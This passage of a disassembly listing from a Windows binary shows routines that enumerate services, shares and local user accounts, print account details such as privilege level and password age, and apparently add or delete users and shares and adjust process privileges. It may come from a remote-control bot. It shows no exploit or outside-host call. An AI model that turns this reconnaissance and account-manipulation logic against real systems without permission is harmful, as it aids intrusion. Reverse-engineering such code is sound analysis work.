; sub_412F13+AAj
push eax
call sub_415316
pop ecx
lea eax, [ebp+var_20]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS ; "%s: %s (%s)"
push eax
call sub_415316
push 1
lea eax, [ebp+var_38C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_412F96
loc_413033: ; CODE XREF: sub_412F13+77j
cmp [ebp+var_8], ebx
jnz loc_412F4B
loc_41303C: ; CODE XREF: sub_412F13+6Cj
push [ebp+var_C]
call dword_43C928 ; CloseServiceHandle
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_412F13 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413053 proc near ; CODE XREF: sub_40CD3A:loc_40EC86p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_4130EC
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_41307C
dec eax
jnz short loc_4130CC
push edi
push 0
call sub_413225
pop ecx
pop ecx
jmp short loc_4130C8
; ---------------------------------------------------------------------------
loc_41307C: ; CODE XREF: sub_413053+18j
cmp [ebp+arg_8], 0
jnz short loc_4130BA
push 24h
push edi
call sub_416F20
pop ecx
test eax, eax
pop ecx
jnz short loc_4130BA
push 57h
pop eax
loc_413093: ; CODE XREF: sub_413053+77j
push eax
call sub_4139F3
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_46B2D0
push off_436C98[eax*4]
push offset dword_4373B4
push esi
call sub_415316
add esp, 18h
jmp short loc_41310C
; ---------------------------------------------------------------------------
loc_4130BA: ; CODE XREF: sub_413053+2Dj
; sub_413053+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_413179
add esp, 0Ch
loc_4130C8: ; CODE XREF: sub_413053+27j
test eax, eax
jnz short loc_413093
loc_4130CC: ; CODE XREF: sub_413053+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_46B2D0
push off_436C9C[eax*4]
push offset dword_437384
push esi
call sub_415316
add esp, 10h
jmp short loc_41310C
; ---------------------------------------------------------------------------
loc_4130EC: ; CODE XREF: sub_413053+Aj
mov eax, [ebp+arg_0]
mov esi, offset dword_46B2D0
lea eax, [eax+eax*2]
push off_436C98[eax*4]
push offset dword_43734C
push esi
call sub_415316
add esp, 0Ch
loc_41310C: ; CODE XREF: sub_413053+65j
; sub_413053+97j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_413053 endp
; =============== S U B R O U T I N E =======================================
sub_413112 proc near ; CODE XREF: sub_414500+247p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_41311F
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_41311F: ; CODE XREF: sub_413112+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, dword_421138
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi ; WideCharToMultiByte
test byte_46B4D0, 1
mov ebp, eax
jnz short loc_41315C
or byte_46B4D0, 1
lea eax, [ebp+1]
push eax
call sub_416655
pop ecx
mov dword_46B268, eax
loc_41315C: ; CODE XREF: sub_413112+32j
push esi
push esi
push ebp
push dword_46B268
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi ; WideCharToMultiByte
mov eax, dword_46B268
pop edi
pop ebp
pop ebx
pop esi
retn
sub_413112 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413179 proc near ; CODE XREF: sub_413053+6Dp
; sub_414826+18Ep ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_4131E4
push [ebp+arg_4]
mov edi, eax
call sub_4131E4
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_416F20
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_4131E4
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call dword_43C924
pop edi
leave
retn
sub_413179 endp
; =============== S U B R O U T I N E =======================================
sub_4131E4 proc near ; CODE XREF: sub_413179+Ap
; sub_413179+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_4131F1
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4131F1: ; CODE XREF: sub_4131E4+9j
push ebx
push esi
mov esi, dword_421064
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi ; MultiByteToWideChar
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_416655
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi ; MultiByteToWideChar
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_4131E4 endp
; =============== S U B R O U T I N E =======================================
sub_413225 proc near ; CODE XREF: sub_413053+20p
; sub_414500+1BCp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_4131E4
push [esp+8+arg_4]
mov esi, eax
call sub_4131E4
pop ecx
pop ecx
push 0
push eax
push esi
call dword_43C8FC
pop esi
retn
sub_413225 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413248 proc near ; CODE XREF: sub_40CD3A+1F78p
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_4131E4
xor esi, esi
mov [ebp+var_C], eax
push esi
mov [ebp+arg_C], esi
push [ebp+arg_8]
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 18h
loc_413281: ; CODE XREF: sub_413248+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call dword_43C970
mov ebx, eax
cmp ebx, esi
jz short loc_4132E4
cmp ebx, 0EAh
jz short loc_4132E4
push ebx
push ebx
call sub_4139F3
pop ecx
push eax
lea eax, [ebp+var_210]
push offset dword_437414
push eax
call sub_415316
push esi
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 24h
jmp short loc_413351
; ---------------------------------------------------------------------------
loc_4132E4: ; CODE XREF: sub_413248+5Dj
; sub_413248+65j
xor edi, edi
inc edi
cmp [ebp+arg_C], edi
jb short loc_413348
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_4132F2: ; CODE XREF: sub_413248+FCj
push dword ptr [esi+10h]
call dword_43C918 ; IsValidSecurityDescriptor
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_413309
mov eax, offset aNo ; "No"
loc_413309: ; CODE XREF: sub_413248+BAj
push eax
lea eax, [ebp+var_210]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_415316
push 1
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_4132F2
xor esi, esi
loc_413348: ; CODE XREF: sub_413248+A2j
push [ebp+var_4]
call dword_43CAB4
loc_413351: ; CODE XREF: sub_413248+9Aj
cmp ebx, 0EAh
jz loc_413281
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_413248 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413369 proc near ; CODE XREF: sub_40CD3A:loc_40ED22p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_41340D
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_4133AB
dec eax
jz short loc_4133A0
dec eax
jnz short loc_4133C6
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_4134AF
add esp, 14h
jmp short loc_4133C2
; ---------------------------------------------------------------------------
loc_4133A0: ; CODE XREF: sub_413369+1Dj
push ebx
push edi
call sub_41348E
pop ecx
pop ecx
jmp short loc_4133C2
; ---------------------------------------------------------------------------
loc_4133AB: ; CODE XREF: sub_413369+1Aj
cmp [ebp+arg_8], edi
jz short loc_4133BF
push [ebp+arg_8]
push ebx
push edi
call sub_413434
add esp, 0Ch
jmp short loc_4133C2
; ---------------------------------------------------------------------------
loc_4133BF: ; CODE XREF: sub_413369+45j
push 57h
pop eax
loc_4133C2: ; CODE XREF: sub_413369+35j
; sub_413369+40j ...
cmp eax, edi
jnz short loc_4133E6
loc_4133C6: ; CODE XREF: sub_413369+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_46B4D8
push off_436C9C[eax*4]
push offset dword_437508
push esi
call sub_415316
add esp, 10h
jmp short loc_41342D
; ---------------------------------------------------------------------------
loc_4133E6: ; CODE XREF: sub_413369+5Bj
push eax
call sub_4139F3
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_46B4D8
push off_436C98[eax*4]
push offset dword_4374C8
push esi
call sub_415316
add esp, 18h
jmp short loc_41342D
; ---------------------------------------------------------------------------
loc_41340D: ; CODE XREF: sub_413369+Dj
mov eax, [ebp+arg_0]
mov esi, offset dword_46B4D8
lea eax, [eax+eax*2]
push off_436C98[eax*4]
push offset dword_437488
push esi
call sub_415316
add esp, 0Ch
loc_41342D: ; CODE XREF: sub_413369+7Bj
; sub_413369+A2j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_413369 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413434 proc near ; CODE XREF: sub_413369+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_4131E4
push [ebp+arg_4]
mov edi, eax
call sub_4131E4
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_4131E4
add esp, 0Ch
and [ebp+var_14], 0
and [ebp+var_10], 0
and [ebp+var_8], 0
lea ecx, [ebp+var_4]
mov [ebp+var_20], eax
xor eax, eax
push ecx
lea ecx, [ebp+var_24]
inc eax
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call dword_43C908
pop edi
leave
retn
sub_413434 endp
; =============== S U B R O U T I N E =======================================
sub_41348E proc near ; CODE XREF: sub_413369+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_4131E4
push [esp+8+arg_4]
mov esi, eax
call sub_4131E4
pop ecx
pop ecx
push eax
push esi
call dword_43C8F8
pop esi
retn
sub_41348E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4134AF proc near ; CODE XREF: sub_413369+2Dp
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_4131E4
push [ebp+arg_4]
mov esi, eax
call sub_4131E4
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call dword_43CA7C
test eax, eax
mov [ebp+arg_0], eax
jnz loc_41383C
mov eax, [ebp+var_4]
test eax, eax
jz loc_413877
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_204]
push offset aAccountS ; "Account: %S"
push eax
call sub_415316
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
push dword ptr [eax+0Ch]
lea eax, [ebp+var_204]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+8]
lea eax, [ebp+var_204]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
push dword ptr [eax+4]
lea eax, [ebp+var_204]
push offset aCommentS ; "Comment: %S"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
add esp, 40h
mov eax, [eax+10h]
sub eax, 0
jz short loc_4135C8
dec eax
jz short loc_4135C1
dec eax
jz short loc_4135BA
mov eax, offset aUnknown ; "Unknown"
jmp short loc_4135CD
; ---------------------------------------------------------------------------
loc_4135BA: ; CODE XREF: sub_4134AF+102j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_4135CD
; ---------------------------------------------------------------------------
loc_4135C1: ; CODE XREF: sub_4134AF+FFj
mov eax, offset aUser_1 ; "User"
jmp short loc_4135CD
; ---------------------------------------------------------------------------
loc_4135C8: ; CODE XREF: sub_4134AF+FCj
mov eax, offset aGuest ; "Guest"
loc_4135CD: ; CODE XREF: sub_4134AF+109j
; sub_4134AF+110j ...
push eax
lea eax, [ebp+var_204]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
push dword ptr [eax+14h]
lea eax, [ebp+var_204]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_204]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
push dword ptr [eax+20h]
lea eax, [ebp+var_204]
push offset aParametersS ; "Parameters: %S"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+18h]
lea eax, [ebp+var_204]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
push dword ptr [eax+2Ch]
lea eax, [ebp+var_204]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+30h]
lea eax, [ebp+var_204]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
push dword ptr [eax+24h]
lea eax, [ebp+var_204]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+28h]
lea eax, [ebp+var_204]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
push dword ptr [eax+34h]
lea eax, [ebp+var_204]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_204]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
push dword ptr [eax+38h]
lea eax, [ebp+var_204]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_204]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
push dword ptr [eax+40h]
lea eax, [ebp+var_204]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+44h]
lea eax, [ebp+var_204]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_415316
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_412BD1
add esp, 20h
pop edi
pop ebx
jmp short loc_413868
; ---------------------------------------------------------------------------
loc_41383C: ; CODE XREF: sub_4134AF+35j
push eax
lea eax, [ebp+var_204]
push offset dword_43753C
push eax
call sub_415316
push 0
lea eax, [ebp+var_204]
push [ebp+arg_10]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_412BD1
add esp, 20h
loc_413868: ; CODE XREF: sub_4134AF+38Bj
cmp [ebp+var_4], 0
jz short loc_413877
push [ebp+var_4]
call dword_43CAB4
loc_413877: ; CODE XREF: sub_4134AF+40j
; sub_4134AF+3BDj
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_4134AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41387D proc near ; CODE XREF: sub_40CD3A+2014p
var_218 = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_4131E4
push esi
mov [ebp+var_14], eax
push [ebp+arg_8]
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 18h
loc_4138BC: ; CODE XREF: sub_41387D+12Bj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call dword_43C98C
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_41391D
cmp eax, 0EAh
jz short loc_41391D
push eax
push eax
call sub_4139F3
pop ecx
push eax
lea eax, [ebp+var_218]
push offset dword_437734
push eax
call sub_415316
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 24h
jmp short loc_41398E
; ---------------------------------------------------------------------------
loc_41391D: ; CODE XREF: sub_41387D+62j
; sub_41387D+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_4139A1
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_41398E
loc_41392B: ; CODE XREF: sub_41387D+E9j
cmp edi, esi
lea eax, [ebp+var_218]
jz short loc_41396A
push dword ptr [edi]
push offset aS_5 ; " %S"
push eax
call sub_415316
push 1
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_41392B
jmp short loc_41398E
; ---------------------------------------------------------------------------
loc_41396A: ; CODE XREF: sub_41387D+B6j
push offset dword_4376EC
push eax
call sub_415316
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 1Ch
loc_41398E: ; CODE XREF: sub_41387D+9Ej
; sub_41387D+ACj ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_4139A1
push edi
call dword_43CAB4
xor edi, edi
mov [ebp+var_4], edi
loc_4139A1: ; CODE XREF: sub_41387D+A5j
; sub_41387D+116j
cmp [ebp+var_C], 0EAh
jz loc_4138BC
cmp edi, esi
jz short loc_4139B9
push edi
call dword_43CAB4
loc_4139B9: ; CODE XREF: sub_41387D+133j
push [ebp+var_8]
lea eax, [ebp+var_218]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_415316
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_41387D endp
; =============== S U B R O U T I N E =======================================
sub_4139F3 proc near ; CODE XREF: sub_413053+41p
; sub_413248+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_413AA5
jz loc_413A9E
cmp eax, 7Bh
ja short loc_413A6A
jz short loc_413A60
cmp eax, 5
jz short loc_413A56
cmp eax, 8
jz short loc_413A4C
cmp eax, 32h
jz short loc_413A42
cmp eax, 35h
jz short loc_413A38
cmp eax, 57h
jnz loc_413AF4
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_413B15
; ---------------------------------------------------------------------------
loc_413A38: ; CODE XREF: sub_4139F3+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_413B15
; ---------------------------------------------------------------------------
loc_413A42: ; CODE XREF: sub_4139F3+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_413B15
; ---------------------------------------------------------------------------
loc_413A4C: ; CODE XREF: sub_4139F3+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_413B15
; ---------------------------------------------------------------------------
loc_413A56: ; CODE XREF: sub_4139F3+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_413B15
; ---------------------------------------------------------------------------
loc_413A60: ; CODE XREF: sub_4139F3+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_413B15
; ---------------------------------------------------------------------------
loc_413A6A: ; CODE XREF: sub_4139F3+1Aj
sub eax, 7Ch
jz short loc_413A97
sub eax, 7C8h
jz short loc_413A90
dec eax
jz short loc_413A86
dec eax
jnz short loc_413AF4
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_413B15
; ---------------------------------------------------------------------------
loc_413A86: ; CODE XREF: sub_4139F3+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_413B15
; ---------------------------------------------------------------------------
loc_413A90: ; CODE XREF: sub_4139F3+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_413B15
; ---------------------------------------------------------------------------
loc_413A97: ; CODE XREF: sub_4139F3+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_413B15
; ---------------------------------------------------------------------------
loc_413A9E: ; CODE XREF: sub_4139F3+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_413B15
; ---------------------------------------------------------------------------
loc_413AA5: ; CODE XREF: sub_4139F3+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_413ADE
jz short loc_413AD7
sub eax, 8ADh
jz short loc_413B09
dec eax
dec eax
jz short loc_413AD0
dec eax
jz short loc_413AC9
dec eax
dec eax
jnz short loc_413AF4
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_413B15
; ---------------------------------------------------------------------------
loc_413AC9: ; CODE XREF: sub_4139F3+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_413B15
; ---------------------------------------------------------------------------
loc_413AD0: ; CODE XREF: sub_4139F3+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_413B15
; ---------------------------------------------------------------------------
loc_413AD7: ; CODE XREF: sub_4139F3+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_413B15
; ---------------------------------------------------------------------------
loc_413ADE: ; CODE XREF: sub_4139F3+B9j
sub eax, 8CAh
jz short loc_413B10
sub eax, 17h
jz short loc_413B09
sub eax, 25h
jz short loc_413B02
sub eax, 29h
jz short loc_413AFB
loc_413AF4: ; CODE XREF: sub_4139F3+35j
; sub_4139F3+87j ...
push offset aAnUnknownErr_0 ; "An unknown error occurred."
jmp short loc_413B15
; ---------------------------------------------------------------------------
loc_413AFB: ; CODE XREF: sub_4139F3+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_413B15
; ---------------------------------------------------------------------------
loc_413B02: ; CODE XREF: sub_4139F3+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_413B15
; ---------------------------------------------------------------------------
loc_413B09: ; CODE XREF: sub_4139F3+C2j
; sub_4139F3+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_413B15
; ---------------------------------------------------------------------------
loc_413B10: ; CODE XREF: sub_4139F3+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_413B15: ; CODE XREF: sub_4139F3+40j
; sub_4139F3+4Aj ...
push offset dword_46B270
call sub_415316
pop ecx
mov eax, offset dword_46B270
pop ecx
retn
sub_4139F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413B27 proc near ; CODE XREF: sub_40CD3A+2059p
var_718 = byte ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h
push [ebp+arg_0]
lea eax, [ebp+var_718]
push eax
call sub_417A19
add esp, 0Ch
lea eax, [ebp+arg_0]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+arg_0], esi
call dword_42113C ; GetComputerNameA
lea eax, [ebp+var_108]
push esi
push eax
lea eax, [ebp+var_318]
push eax
call sub_417A19
lea eax, [ebp+var_718]
push eax
call sub_4179FC
add esp, 10h
add eax, eax
push eax
lea eax, [ebp+var_718]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call dword_43CA34
test eax, eax
jnz short loc_413BB7
mov esi, offset dword_46B068
push offset dword_437A94
push esi
call sub_415316
pop ecx
pop ecx
jmp short loc_413BE0
; ---------------------------------------------------------------------------
loc_413BB7: ; CODE XREF: sub_413B27+7Aj
lea ecx, [ebp+var_718]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_4139F3
pop ecx
mov esi, offset dword_46B068
push eax
push offset dword_437A58
push esi
call sub_415316
add esp, 14h
loc_413BE0: ; CODE XREF: sub_413B27+8Ej
mov eax, esi
pop esi
leave
retn
sub_413B27 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413BE5 proc near ; CODE XREF: sub_409D12+7p
; sub_413C50+53p ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call dword_421104 ; GetCurrentProcess
push eax
call dword_43CA08 ; OpenProcessToken
test eax, eax
jnz short loc_413C04
leave
retn
; ---------------------------------------------------------------------------
loc_413C04: ; CODE XREF: sub_413BE5+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call dword_43C9E0 ; LookupPrivilegeValueA
test eax, eax
jz short loc_413C42
cmp [ebp+arg_4], esi
